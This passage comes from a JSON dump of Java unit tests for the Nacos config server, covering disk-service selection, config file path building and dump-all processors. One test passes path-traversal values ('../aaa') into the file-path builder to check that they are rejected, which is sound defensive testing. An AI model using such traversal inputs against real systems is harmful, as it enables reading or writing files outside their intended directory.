    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump.disk;\n\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Field;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n@ExtendWith(MockitoExtension.class)\nclass ConfigDiskServiceFactoryTest {\n    \n    @BeforeEach\n    void before() throws Exception {\n        clearDiskInstance();\n    }\n    \n    @AfterEach\n    void after() {\n    \n    }\n    \n    @Test\n    void getRawDiskInstance() {\n        System.setProperty(\"config_disk_type\", \"rawdisk\");\n        ConfigDiskService instance = ConfigDiskServiceFactory.getInstance();\n        assertTrue(instance instanceof ConfigRawDiskService);\n    }\n    \n    @Test\n    void getRockDbDiskInstance() {\n        System.setProperty(\"config_disk_type\", \"rocksdb\");\n        ConfigDiskService instance = ConfigDiskServiceFactory.getInstance();\n        assertTrue(instance instanceof ConfigRocksDbDiskService);\n    }\n    \n    @Test\n    void getDefaultRawDiskInstance() {\n        System.setProperty(\"config_disk_type\", \"123\");\n        ConfigDiskService instance = ConfigDiskServiceFactory.getInstance();\n        assertTrue(instance instanceof ConfigRawDiskService);\n    }\n    \n    private void clearDiskInstance() throws Exception {\n        Field configDiskService = ConfigDiskServiceFactory.class.getDeclaredField(\"configDiskService\");\n        configDiskService.setAccessible(true);\n        configDiskService.set(null, null);\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/dump/disk/ConfigRawDiskServiceTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump.disk;\n\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.File;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass ConfigRawDiskServiceTest {\n    \n    private String cachedOsName;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        cachedOsName = System.getProperty(\"os.name\");\n    }\n    \n    private boolean isWindows() {\n        return cachedOsName.toLowerCase().startsWith(\"win\");\n    }\n    \n    /**\n     * 测试获取文件路径.\n     */\n    @Test\n    void testTargetFile() throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {\n        Method method = ConfigRawDiskService.class.getDeclaredMethod(\"targetFile\", String.class, String.class,\n                String.class);\n        method.setAccessible(true);\n        File result = (File) method.invoke(null, \"aaaa-dsaknkf\", \"aaaa.dsaknkf\", \"aaaa:dsaknkf\");\n        // 分解路径\n        Path path = Paths.get(result.getPath());\n        Path parent = path.getParent();\n        Path grandParent = parent.getParent();\n        // 获取最后三段路径\n        String lastSegment = path.getFileName().toString();\n        String secondLastSegment = parent.getFileName().toString();\n        String thirdLastSegment = grandParent.getFileName().toString();\n        assertEquals(isWindows() ? \"aaaa-dsaknkf\" : thirdLastSegment, thirdLastSegment);\n        assertEquals(isWindows() ? \"aaaa.dsaknkf\" : secondLastSegment, secondLastSegment);\n        assertEquals(isWindows() ? \"aaaa%A5%dsaknkf\" : lastSegment, lastSegment);\n    }\n    \n    @Test\n    void testTargetFileWithInvalidParam() {\n        assertThrows(NacosRuntimeException.class, () -> ConfigRawDiskService.targetFile(\"../aaa\", \"testG\", \"testNS\"));\n        assertThrows(NacosRuntimeException.class, () -> ConfigRawDiskService.targetFile(\"testD\", \"../aaa\", \"testNS\"));\n        assertThrows(NacosRuntimeException.class, () -> ConfigRawDiskService.targetFile(\"testD\", \"testG\", \"../aaa\"));\n    }\n    \n    /**\n     * 测试获取beta文件路径.\n     */\n    @Test\n    void testTargetGrayFile() throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {\n        Method method = ConfigRawDiskService.class.getDeclaredMethod(\"targetGrayFile\", String.class, String.class,\n                String.class, String.class);\n        method.setAccessible(true);\n        File result = (File) method.invoke(null, \"data345678\", \"group3456\", \"tenant1234\", \"graynem4567\");\n        // 分解路径\n        Path path = Paths.get(result.getPath());\n        Path parent = path.getParent();\n        Path grandParent = parent.getParent();\n        Path grand2Parent = grandParent.getParent();\n        \n        // 获取最后三段路径\n        String fourthLastSegment = grand2Parent.getFileName().toString();\n        assertEquals(fourthLastSegment, \"tenant1234\");\n        String thirdLastSegment = grandParent.getFileName().toString();\n        assertEquals(isWindows() ? \"aaaa-dsaknkf\" : thirdLastSegment, \"group3456\");\n        String secondLastSegment = parent.getFileName().toString();\n        assertEquals(isWindows() ? \"aaaa-dsaknkf\" : secondLastSegment, \"data345678\");\n        String lastSegment = path.getFileName().toString();\n        assertEquals(isWindows() ? \"aaaa-dsaknkf\" : lastSegment, \"graynem4567\");\n        \n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/dump/processor/DumpAllGrayProcessorTest.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump.processor;\n\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.common.task.NacosTask;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.config.server.model.CacheItem;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.dump.ExternalDumpService;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskServiceFactory;\nimport com.alibaba.nacos.config.server.service.dump.task.DumpAllGrayTask;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.anyInt;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.atLeastOnce;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.reset;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass DumpAllGrayProcessorTest {\n    \n    private static final int PAGE_SIZE = 100;\n    \n    @Mock\n    DynamicDataSource dynamicDataSource;\n    \n    @Mock\n    DataSourceService dataSourceService;\n    \n    @Mock\n    ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    DumpAllProcessor dumpAllProcessor;\n    \n    DumpAllGrayProcessor dumpAllGrayProcessor;\n    \n    ExternalDumpService dumpService;\n    \n    MockedStatic<DynamicDataSource> dynamicDataSourceMockedStatic;\n    \n    MockedStatic<PropertyUtil> propertyUtilMockedStatic;\n    \n    @Mock\n    ConfigInfoPersistService configInfoPersistService;\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    private String mockMem = \"tmpmocklimitfile.txt\";\n    \n    @BeforeEach\n    void init() throws Exception {\n        dynamicDataSourceMockedStatic = Mockito.mockStatic(DynamicDataSource.class);\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        propertyUtilMockedStatic = Mockito.mockStatic(PropertyUtil.class);\n        propertyUtilMockedStatic.when(PropertyUtil::getAllDumpPageSize).thenReturn(100);\n        dumpAllGrayProcessor = new DumpAllGrayProcessor(configInfoGrayPersistService);\n        when(EnvUtil.getNacosHome()).thenReturn(System.getProperty(\"user.home\"));\n        when(EnvUtil.getProperty(eq(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG), eq(Boolean.class),\n                eq(false))).thenReturn(false);\n        dynamicDataSourceMockedStatic.when(DynamicDataSource::getInstance).thenReturn(dynamicDataSource);\n        \n        when(dynamicDataSource.getDataSource()).thenReturn(dataSourceService);\n        \n        dumpService = new ExternalDumpService(configInfoPersistService, null, null, configInfoGrayPersistService, null,\n                null);\n        \n        dumpAllProcessor = new DumpAllProcessor(configInfoPersistService);\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(eq(\"memory_limit_file_path\"),\n                eq(\"/sys/fs/cgroup/memory/memory.limit_in_bytes\"))).thenReturn(mockMem);\n        \n    }\n    \n    @AfterEach\n    void after() {\n        dynamicDataSourceMockedStatic.close();\n        envUtilMockedStatic.close();\n        propertyUtilMockedStatic.close();\n    }\n    \n    @Test\n    void testProcessWithInvalidTaskType() {\n        NacosTask invalidTask = mock(NacosTask.class);\n        \n        boolean result = dumpAllGrayProcessor.process(invalidTask);\n        \n        assertFalse(result);\n        verify(configInfoGrayPersistService, never()).configInfoGrayCount();\n    }\n    \n    @Test\n    void testProcessWithValidTaskType() throws Exception {\n        final DumpAllGrayTask validTask = mock(DumpAllGrayTask.class);\n        List<ConfigInfoGrayWrapper> configList = new ArrayList<>();\n        configList.add(createGrayWrapper(\"dataId-1\", \"group-1\"));\n        \n        Page<ConfigInfoGrayWrapper> page = new Page<>();\n        when(configInfoGrayPersistService.configInfoGrayCount()).thenReturn(1);\n        when(configInfoGrayPersistService.findAllConfigInfoGrayForDumpAll(anyInt(), anyInt())).thenReturn(page);\n        \n        boolean result = dumpAllGrayProcessor.process(validTask);\n        \n        assertTrue(result);\n        verify(configInfoGrayPersistService, times(1)).configInfoGrayCount();\n        verify(configInfoGrayPersistService, times(1)).findAllConfigInfoGrayForDumpAll(anyInt(), anyInt());\n    }\n    \n    @Test\n    void testPaginationLogic() {\n        int totalConfigs = PAGE_SIZE * 2 + 50;\n        int expectedPage = (int) Math.ceil(totalConfigs * 1.0 / PAGE_SIZE);\n        System.out.println(\"totalConfigs: \" + totalConfigs + \" , expectedPage: \" + expectedPage);\n        reset(configInfoGrayPersistService);\n        when(configInfoGrayPersistService.configInfoGrayCount()).thenReturn(totalConfigs);\n        \n        Page<ConfigInfoGrayWrapper> pageOne = new Page<>();\n        when(configInfoGrayPersistService.findAllConfigInfoGrayForDumpAll(eq(1), anyInt())).thenReturn(pageOne);\n        \n        DumpAllGrayTask task = mock(DumpAllGrayTask.class);\n        boolean result = dumpAllGrayProcessor.process(task);\n        \n        assertTrue(result);\n        verify(configInfoGrayPersistService, atLeastOnce()).findAllConfigInfoGrayForDumpAll(anyInt(), anyInt());\n    }\n    \n    @Test\n    void testInteractionWithConfigCacheService() {\n        DumpAllGrayTask task = mock(DumpAllGrayTask.class);\n        Page<ConfigInfoGrayWrapper> page = new Page<>();\n        when(configInfoGrayPersistService.configInfoGrayCount()).thenReturn(1);\n        when(configInfoGrayPersistService.findAllConfigInfoGrayForDumpAll(anyInt(), anyInt())).thenReturn(page);\n        boolean result = dumpAllGrayProcessor.process(task);\n        assertTrue(result);\n    }\n    \n    /**\n     * test dump all for all check task.\n     */\n    @Test\n    void testDumpAllGrayOnCheckAll() throws Exception {\n        ConfigInfoGrayWrapper configInfoGrayWrapper1 = createGrayWrapper(\"data-1\", \"group-1\");\n        ConfigInfoGrayWrapper configInfoGrayWrapper2 = createGrayWrapper(\"data-2\", \"group-2\");\n        long timestamp = System.currentTimeMillis();\n        configInfoGrayWrapper1.setLastModified(timestamp);\n        configInfoGrayWrapper2.setLastModified(timestamp);\n        \n        Page<ConfigInfoGrayWrapper> page = new Page<>();\n        page.setTotalCount(2);\n        page.setPagesAvailable(2);\n        page.setPageNumber(1);\n        List<ConfigInfoGrayWrapper> list = Arrays.asList(configInfoGrayWrapper1, configInfoGrayWrapper2);\n        page.setPageItems(list);\n        \n        Mockito.when(configInfoGrayPersistService.configInfoGrayCount()).thenReturn(2);\n        Mockito.when(configInfoGrayPersistService.findAllConfigInfoGrayForDumpAll(anyInt(), anyInt())).thenReturn(page);\n        \n        final String md51 = MD5Utils.md5Hex(configInfoGrayWrapper1.getContent(), \"UTF-8\");\n        final String md52 = MD5Utils.md5Hex(configInfoGrayWrapper2.getContent(), \"UTF-8\");\n        long latterTimestamp = timestamp + 999;\n        long earlierTimestamp = timestamp - 999;\n        String encryptedDataKey = \"testEncryptedDataKey\";\n        \n        String dataId1 = configInfoGrayWrapper1.getDataId();\n        String group1 = configInfoGrayWrapper1.getGroup();\n        String grayName1 = configInfoGrayWrapper1.getGrayName();\n        String grayRule1 = configInfoGrayWrapper1.getGrayRule();\n        String tenant1 = configInfoGrayWrapper1.getTenant();\n        String content1 = configInfoGrayWrapper1.getContent();\n        \n        String dataId2 = configInfoGrayWrapper2.getDataId();\n        String group2 = configInfoGrayWrapper2.getGroup();\n        String grayName2 = configInfoGrayWrapper2.getGrayName();\n        String grayRule2 = configInfoGrayWrapper2.getGrayRule();\n        String tenant2 = configInfoGrayWrapper2.getTenant();\n        String content2 = configInfoGrayWrapper2.getContent();\n        \n        ConfigCacheService.dumpGray(dataId1, group1, tenant1, grayName1, grayRule1, content1, latterTimestamp,\n                encryptedDataKey);\n        ConfigCacheService.dumpGray(dataId2, group2, tenant2, grayName2, grayRule2, content2, earlierTimestamp,\n                encryptedDataKey);\n        \n        DumpAllGrayTask dumpAllTask = new DumpAllGrayTask();\n        boolean process = dumpAllGrayProcessor.process(dumpAllTask);\n        \n        assertTrue(process);\n        \n        CacheItem contentCache1 = ConfigCacheService.getContentCache(\n                GroupKey2.getKey(configInfoGrayWrapper1.getDataId(), configInfoGrayWrapper1.getGroup(),\n                        configInfoGrayWrapper1.getTenant()));\n        assertEquals(md51, contentCache1.getConfigCacheGray().get(grayName1).getMd5());\n        assertEquals(latterTimestamp, contentCache1.getConfigCacheGray().get(grayName1).getLastModifiedTs());\n        \n        String contentFromDisk1 = ConfigDiskServiceFactory.getInstance()\n                .getGrayContent(configInfoGrayWrapper1.getDataId(), configInfoGrayWrapper1.getGroup(),\n                        configInfoGrayWrapper1.getTenant(), configInfoGrayWrapper1.getGrayName());\n        assertEquals(configInfoGrayWrapper1.getContent(), contentFromDisk1);\n        \n        CacheItem contentCache2 = ConfigCacheService.getContentCache(\n                GroupKey2.getKey(configInfoGrayWrapper2.getDataId(), configInfoGrayWrapper2.getGroup(),\n                        configInfoGrayWrapper2.getTenant()));\n        assertEquals(md52, contentCache2.getConfigCacheGray().get(grayName2).getMd5());\n        assertEquals(configInfoGrayWrapper2.getLastModified(),\n                contentCache2.getConfigCacheGray().get(grayName2).getLastModifiedTs());\n        \n        String contentFromDisk2 = ConfigDiskServiceFactory.getInstance()\n                .getGrayContent(configInfoGrayWrapper2.getDataId(), configInfoGrayWrapper2.getGroup(),\n                        configInfoGrayWrapper2.getTenant(), configInfoGrayWrapper2.getGrayName());\n        assertEquals(configInfoGrayWrapper2.getContent(), contentFromDisk2);\n    }\n    \n    private ConfigInfoGrayWrapper createGrayWrapper(String dataId, String group) {\n        ConfigInfoGrayWrapper wrapper = new ConfigInfoGrayWrapper();\n        wrapper.setDataId(dataId);\n        wrapper.setGroup(group);\n        wrapper.setTenant(\"tenant\");\n        wrapper.setGrayName(\"gray-\" + dataId);\n        String grayRule = \"{\\\"type\\\":\\\"beta\\\",\\\"version\\\":\\\"1.0.0\\\",\\\"expr\\\":\\\"0 0/5 * * * ?\\\",\\\"priority\\\":1}\";\n        wrapper.setGrayRule(grayRule);\n        wrapper.setContent(\"content\");\n        wrapper.setLastModified(System.currentTimeMillis());\n        wrapper.setEncryptedDataKey(\"enc-key\");\n        wrapper.setMd5(MD5Utils.md5Hex(wrapper.getContent(), \"UTF-8\"));\n        return wrapper;\n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/dump/processor/DumpAllProcessorTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump.processor;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.config.server.model.CacheItem;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.ConfigMigrateService;\nimport com.alibaba.nacos.config.server.service.dump.ExternalDumpService;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskServiceFactory;\nimport com.alibaba.nacos.config.server.service.dump.task.DumpAllTask;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Disabled;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.springframework.beans.BeanUtils;\n\nimport java.util.Arrays;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n@Disabled(value = \"Github CI will crash in this class unit test. \"\n        + \"It is suspected that the inability to write to the disk is related to the invocation of System.exit.\")\nclass DumpAllProcessorTest {\n    \n    private static int newConfigCount = 1;\n    \n    @Mock\n    DynamicDataSource dynamicDataSource;\n    \n    @Mock\n    DataSourceService dataSourceService;\n    \n    @Mock\n    ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    ConfigMigrateService configMigrateService;\n    \n    DumpAllProcessor dumpAllProcessor;\n    \n    ExternalDumpService dumpService;\n    \n    MockedStatic<DynamicDataSource> dynamicDataSourceMockedStatic;\n    \n    MockedStatic<PropertyUtil> propertyUtilMockedStatic;\n    \n    @Mock\n    ConfigInfoPersistService configInfoPersistService;\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    private String mockMem = \"tmpmocklimitfile.txt\";\n    \n    @BeforeEach\n    void init() throws Exception {\n        dynamicDataSourceMockedStatic = Mockito.mockStatic(DynamicDataSource.class);\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        propertyUtilMockedStatic = Mockito.mockStatic(PropertyUtil.class);\n        propertyUtilMockedStatic.when(PropertyUtil::getAllDumpPageSize).thenReturn(100);\n        dumpAllProcessor = new DumpAllProcessor(configInfoPersistService);\n        when(EnvUtil.getNacosHome()).thenReturn(System.getProperty(\"user.home\"));\n        when(EnvUtil.getProperty(eq(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG), eq(Boolean.class),\n                eq(false))).thenReturn(false);\n        dynamicDataSourceMockedStatic.when(DynamicDataSource::getInstance).thenReturn(dynamicDataSource);\n        \n        when(dynamicDataSource.getDataSource()).thenReturn(dataSourceService);\n        \n        dumpService = new ExternalDumpService(configInfoPersistService, null,\n                null, configInfoGrayPersistService, null, configMigrateService);\n        \n        dumpAllProcessor = new DumpAllProcessor(configInfoPersistService);\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(eq(\"memory_limit_file_path\"),\n                eq(\"/sys/fs/cgroup/memory/memory.limit_in_bytes\"))).thenReturn(mockMem);\n        \n    }\n    \n    @AfterEach\n    void after() throws Exception {\n        dynamicDataSourceMockedStatic.close();\n        envUtilMockedStatic.close();\n        propertyUtilMockedStatic.close();\n    }\n    \n    private ConfigInfoWrapper createNewConfig(int id) {\n        ConfigInfoWrapper configInfoWrapper = new ConfigInfoWrapper();\n        String dataId = \"dataIdTime\" + newConfigCount;\n        configInfoWrapper.setDataId(dataId);\n        String group = \"groupTime\" + newConfigCount;\n        configInfoWrapper.setGroup(group);\n        String tenant = \"tenantTime\" + newConfigCount;\n        configInfoWrapper.setTenant(tenant);\n        String content = \"content \" + newConfigCount;\n        configInfoWrapper.setContent(content);\n        configInfoWrapper.setId(id);\n        newConfigCount++;\n        return configInfoWrapper;\n    }\n    \n    @Test\n    void testDumpAllOnStartUp() throws Exception {\n        ConfigInfoWrapper configInfoWrapper1 = createNewConfig(1);\n        ConfigInfoWrapper configInfoWrapper2 = createNewConfig(2);\n        long timestamp = System.currentTimeMillis();\n        configInfoWrapper1.setLastModified(timestamp);\n        configInfoWrapper2.setLastModified(timestamp);\n        Page<ConfigInfoWrapper> page = new Page<>();\n        page.setTotalCount(2);\n        page.setPagesAvailable(2);\n        page.setPageNumber(1);\n        List<ConfigInfoWrapper> list = Arrays.asList(configInfoWrapper1, configInfoWrapper2);\n        page.setPageItems(list);\n        \n        Mockito.when(configInfoPersistService.findConfigMaxId()).thenReturn(2L);\n        Mockito.when(configInfoPersistService.findAllConfigInfoFragment(0, PropertyUtil.getAllDumpPageSize(), true))\n                .thenReturn(page);\n        \n        // For config 1, assign a latter time, to make sure that it would be updated.\n        // For config 2, assign an earlier time, to make sure that it is not be updated.\n        String md51 = MD5Utils.md5Hex(configInfoWrapper1.getContent(), \"UTF-8\");\n        String md52 = MD5Utils.md5Hex(configInfoWrapper2.getContent(), \"UTF-8\");\n        long latterTimestamp = timestamp + 999;\n        long earlierTimestamp = timestamp - 999;\n        String encryptedDataKey = \"testEncryptedDataKey\";\n        ConfigCacheService.dumpWithMd5(configInfoWrapper1.getDataId(), configInfoWrapper1.getGroup(),\n                configInfoWrapper1.getTenant(), configInfoWrapper1.getContent(), md51, latterTimestamp, \"json\",\n                encryptedDataKey);\n        ConfigCacheService.dumpWithMd5(configInfoWrapper2.getDataId(), configInfoWrapper2.getGroup(),\n                configInfoWrapper2.getTenant(), configInfoWrapper2.getContent(), md52, earlierTimestamp, \"json\",\n                encryptedDataKey);\n        \n        DumpAllTask dumpAllTask = new DumpAllTask(true);\n        \n        boolean process = dumpAllProcessor.process(dumpAllTask);\n        assertTrue(process);\n        \n        //Check cache\n        CacheItem contentCache1 = ConfigCacheService.getContentCache(\n                GroupKey2.getKey(configInfoWrapper1.getDataId(), configInfoWrapper1.getGroup(),\n                        configInfoWrapper1.getTenant()));\n        assertEquals(md51, contentCache1.getConfigCache().getMd5());\n        // check if config1 is updated\n        assertTrue(timestamp < contentCache1.getConfigCache().getLastModifiedTs());\n        //check disk\n        String contentFromDisk1 = ConfigDiskServiceFactory.getInstance()\n                .getContent(configInfoWrapper1.getDataId(), configInfoWrapper1.getGroup(),\n                        configInfoWrapper1.getTenant());\n        assertEquals(configInfoWrapper1.getContent(), contentFromDisk1);\n        \n        //Check cache\n        CacheItem contentCache2 = ConfigCacheService.getContentCache(\n                GroupKey2.getKey(configInfoWrapper2.getDataId(), configInfoWrapper2.getGroup(),\n                        configInfoWrapper2.getTenant()));\n        assertEquals(MD5Utils.md5Hex(configInfoWrapper2.getContent(), \"UTF-8\"),\n                contentCache2.getConfigCache().getMd5());\n        // check if config2 is updated\n        assertEquals(timestamp, contentCache2.getConfigCache().getLastModifiedTs());\n        //check disk\n        String contentFromDisk2 = ConfigDiskServiceFactory.getInstance()\n                .getContent(configInfoWrapper2.getDataId(), configInfoWrapper2.getGroup(),\n                        configInfoWrapper2.getTenant());\n        assertEquals(configInfoWrapper2.getContent(), contentFromDisk2);\n    }\n    \n    /**\n     * test dump all for all check task.\n     */\n    @Test\n    void testDumpAllOnCheckAll() throws Exception {\n        ConfigInfoWrapper configInfoWrapper1 = createNewConfig(1);\n        ConfigInfoWrapper configInfoWrapper2 = createNewConfig(2);\n        long timestamp = System.currentTimeMillis();\n        configInfoWrapper1.setLastModified(timestamp);\n        configInfoWrapper2.setLastModified(timestamp);\n        Page<ConfigInfoWrapper> page = new Page<>();\n        page.setTotalCount(2);\n        page.setPagesAvailable(2);\n        page.setPageNumber(1);\n        List<ConfigInfoWrapper> list = Arrays.asList(configInfoWrapper1, configInfoWrapper2);\n        page.setPageItems(list);\n        \n        Mockito.when(configInfoPersistService.findConfigMaxId()).thenReturn(2L);\n        Mockito.when(configInfoPersistService.findAllConfigInfoFragment(0, PropertyUtil.getAllDumpPageSize(), false))\n                .thenReturn(page);\n        \n        ConfigInfoWrapper configInfoWrapperSingle1 = new ConfigInfoWrapper();\n        BeanUtils.copyProperties(configInfoWrapper1, configInfoWrapperSingle1);\n        configInfoWrapperSingle1.setContent(\"content123456\");\n        Mockito.when(\n                configInfoPersistService.findConfigInfo(configInfoWrapper1.getDataId(), configInfoWrapper1.getGroup(),\n                        configInfoWrapper1.getTenant())).thenReturn(configInfoWrapperSingle1);\n        \n        ConfigInfoWrapper configInfoWrapperSingle2 = new ConfigInfoWrapper();\n        BeanUtils.copyProperties(configInfoWrapper2, configInfoWrapperSingle2);\n        configInfoWrapperSingle2.setContent(\"content123456222\");\n        Mockito.when(\n                configInfoPersistService.findConfigInfo(configInfoWrapper2.getDataId(), configInfoWrapper2.getGroup(),\n                        configInfoWrapper2.getTenant())).thenReturn(configInfoWrapperSingle2);\n        \n        // For config 1, assign a latter time, to make sure that it would not be updated.\n        // For config 2, assign an earlier time, to make sure that it would be updated.\n        String md51 = MD5Utils.md5Hex(configInfoWrapper1.getContent(), \"UTF-8\");\n        String md52 = MD5Utils.md5Hex(configInfoWrapper2.getContent(), \"UTF-8\");\n        long latterTimestamp = timestamp + 999;\n        long earlierTimestamp = timestamp - 999;\n        String encryptedDataKey = \"testEncryptedDataKey\";\n        ConfigCacheService.dumpWithMd5(configInfoWrapper1.getDataId(), configInfoWrapper1.getGroup(),\n                configInfoWrapper1.getTenant(), configInfoWrapper1.getContent(), md51, latterTimestamp, \"json\",\n                encryptedDataKey);\n        ConfigCacheService.dumpWithMd5(configInfoWrapper2.getDataId(), configInfoWrapper2.getGroup(),\n                configInfoWrapper2.getTenant(), configInfoWrapper2.getContent(), md52, earlierTimestamp, \"json\",\n                encryptedDataKey);\n        \n        DumpAllTask dumpAllTask = new DumpAllTask(false);\n        boolean process = dumpAllProcessor.process(dumpAllTask);\n        \n        assertTrue(process);\n        \n        //Check cache\n        CacheItem contentCache1 = ConfigCacheService.getContentCache(\n                GroupKey2.getKey(configInfoWrapper1.getDataId(), configInfoWrapper1.getGroup(),\n                        configInfoWrapper1.getTenant()));\n        // check if config1 is not updated\n        assertEquals(md51, contentCache1.getConfigCache().getMd5());\n        assertEquals(latterTimestamp, contentCache1.getConfigCache().getLastModifiedTs());\n        //check disk\n        String contentFromDisk1 = ConfigDiskServiceFactory.getInstance()\n                .getContent(configInfoWrapper1.getDataId(), configInfoWrapper1.getGroup(),\n                        configInfoWrapper1.getTenant());\n        assertEquals(configInfoWrapper1.getContent(), contentFromDisk1);\n        \n        //Check cache\n        CacheItem contentCache2 = ConfigCacheService.getContentCache(\n                GroupKey2.getKey(configInfoWrapper2.getDataId(), 